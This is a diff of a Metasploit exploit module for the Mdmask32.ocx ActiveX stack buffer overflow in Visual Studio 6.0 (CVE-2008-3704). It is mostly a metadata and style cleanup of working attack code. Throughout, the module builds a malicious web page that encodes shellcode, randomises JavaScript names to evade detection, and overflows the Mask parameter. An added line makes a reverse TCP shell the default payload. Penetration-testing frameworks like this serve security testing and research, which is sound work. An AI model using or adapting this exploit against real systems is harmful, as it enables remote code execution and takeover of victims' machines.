@@ -12,40 +12,58 @@ def initialize(info = {})
12
12
super (
13
13
update_info (
14
14
info ,
15
- 'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow' ,
15
+ 'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow' ,
16
16
'Description' => %q{
17
- This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0.
18
- When passing a specially crafted string to the Mask parameter of the
19
- Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary
20
- code.
17
+ This module exploits a stack buffer overflow in Microsoft Visual
18
+ Studio 6.0. When passing a specially crafted string to the Mask
19
+ parameter of the Mdmask32.ocx ActiveX Control, an attacker may
20
+ be able to execute arbitrary code.
21
21
} ,
22
22
'License' => MSF_LICENSE ,
23
- 'Author' => [ 'koshi' , 'MC' ] ,
23
+ 'Author' => [
24
+ 'Symantec' , # Discovery and PoC
25
+ 'koshi' , # Exploit
26
+ 'MC' # Metasploit
27
+ ] ,
24
28
'References' => [
29
+ [ 'BID' , '30674' ] ,
25
30
[ 'CVE' , '2008-3704' ] ,
31
+ [ 'CWE' , '119' ] ,
32
+ [ 'EDB' , '6244' ] ,
33
+ [ 'EDB' , '6317' ] ,
26
34
[ 'OSVDB' , '47475' ] ,
27
- [ 'BID ' , '30674 ' ] ,
28
- [ 'MSB ' , 'MS08-070 ' ]
35
+ [ 'MSB ' , 'MS08-070 ' ] ,
36
+ [ 'URL ' , 'https://exchange.xforce.ibmcloud.com/vulnerabilities/44444 ' ] ,
29
37
] ,
30
38
'DefaultOptions' => {
31
- 'EXITFUNC' => 'process' ,
39
+ 'PAYLOAD' => 'windows/shell/reverse_tcp' ,
40
+ 'EXITFUNC' => 'process'
32
41
} ,
33
42
'Payload' => {
34
43
'Space' => 1024 ,
35
- 'BadChars' => "\x00 " ,
44
+ 'BadChars' => "\x00 "
36
45
} ,
37
46
'Platform' => 'win' ,
47
+ 'Arch' => [ ARCH_X86 ] ,
38
48
'Targets' => [
39
- [ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2' , { 'Ret' => '' } ]
49
+ [
50
+ 'Windows XP x86 SP0-SP3 IE 6.0 SP0-SP3' , { }
51
+ ]
40
52
] ,
41
53
'DisclosureDate' => '2008-08-13' ,
42
- 'DefaultTarget' => 0
54
+ 'DefaultTarget' => 0 ,
55
+ 'Notes' => {
56
+ 'AKA' => [ 'Masked Edit Control Memory Corruption Vulnerability' ] ,
57
+ 'Stability' => [ CRASH_SERVICE_DOWN ] ,
58
+ 'SideEffects' => [ ] ,
59
+ 'Reliability' => [ UNRELIABLE_SESSION ]
60
+ }
43
61
)
44
62
)
45
63
46
64
register_options (
47
65
[
48
- OptString . new ( 'URIPATH' , [ true , " The URI to use." , "/" ] )
66
+ OptString . new ( 'URIPATH' , [ true , ' The server URI path to use.' , '/' ] )
49
67
]
50
68
)
51
69
end
@@ -58,33 +76,32 @@ def check_dependencies
58
76
use_zlib
59
77
end
60
78
61
- def on_request_uri ( cli , request )
79
+ def on_request_uri ( cli , _request )
62
80
# Re-generate the payload.
63
- return if ( ( p = regenerate_payload ( cli ) ) == nil )
81
+ return if ( ( regenerate_payload ( cli ) ) . nil? )
64
82
65
83
# Encode the shellcode.
66
84
shellcode = Rex ::Text . to_unescape ( payload . encoded , Rex ::Arch . endian ( target . arch ) )
67
85
68
86
# Create some nops.
69
87
nops = Rex ::Text . to_unescape ( make_nops ( 4 ) )
70
88
71
- # Randomize the javascript variable names.
72
- vname = rand_text_alpha ( rand ( 100 ) + 1 )
73
- var_i = rand_text_alpha ( rand ( 30 ) + 2 )
74
- rand1 = rand_text_alpha ( rand ( 100 ) + 1 )
75
- rand2 = rand_text_alpha ( rand ( 100 ) + 1 )
76
- rand3 = rand_text_alpha ( rand ( 100 ) + 1 )
77
- rand4 = rand_text_alpha ( rand ( 100 ) + 1 )
78
- rand5 = rand_text_alpha ( rand ( 100 ) + 1 )
79
- rand6 = rand_text_alpha ( rand ( 100 ) + 1 )
80
- rand7 = rand_text_alpha ( rand ( 100 ) + 1 )
81
- rand8 = rand_text_alpha ( rand ( 100 ) + 1 )
82
- rand9 = rand_text_alpha ( rand ( 100 ) + 1 )
83
- rand10 = rand_text_alpha ( rand ( 100 ) + 1 )
84
- rand11 = rand_text_alpha ( rand ( 100 ) + 1 )
85
- randnop = rand_text_alpha ( rand ( 100 ) + 1 )
89
+ # Randomize the JavaScript variable names.
90
+ var_i = rand_text_alpha ( 2 ..30 )
91
+ rand1 = rand_text_alpha ( 1 ..100 )
92
+ rand2 = rand_text_alpha ( 1 ..100 )
93
+ rand3 = rand_text_alpha ( 1 ..100 )
94
+ rand4 = rand_text_alpha ( 1 ..100 )
95
+ rand5 = rand_text_alpha ( 1 ..100 )
96
+ rand6 = rand_text_alpha ( 1 ..100 )
97
+ rand7 = rand_text_alpha ( 1 ..100 )
98
+ rand8 = rand_text_alpha ( 1 ..100 )
99
+ rand9 = rand_text_alpha ( 1 ..100 )
100
+ rand10 = rand_text_alpha ( 1 ..100 )
101
+ rand11 = rand_text_alpha ( 1 ..100 )
102
+ randnop = rand_text_alpha ( 1 ..100 )
86
103
87
- content = %Q |
104
+ content = %|
88
105
<html>
89
106
<script language="javascript">
90
107
var #{ rand1 } ='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';
@@ -110,7 +127,7 @@ def on_request_uri(cli, request)
110
127
</html>
111
128
|
112
129
113
- print_status ( "Sending #{ self . name } " )
130
+ print_status ( "Sending #{ name } " )
114
131
115
132
# Transmit the response to the client
116
133
send_response_html ( cli , content )
0 commit comments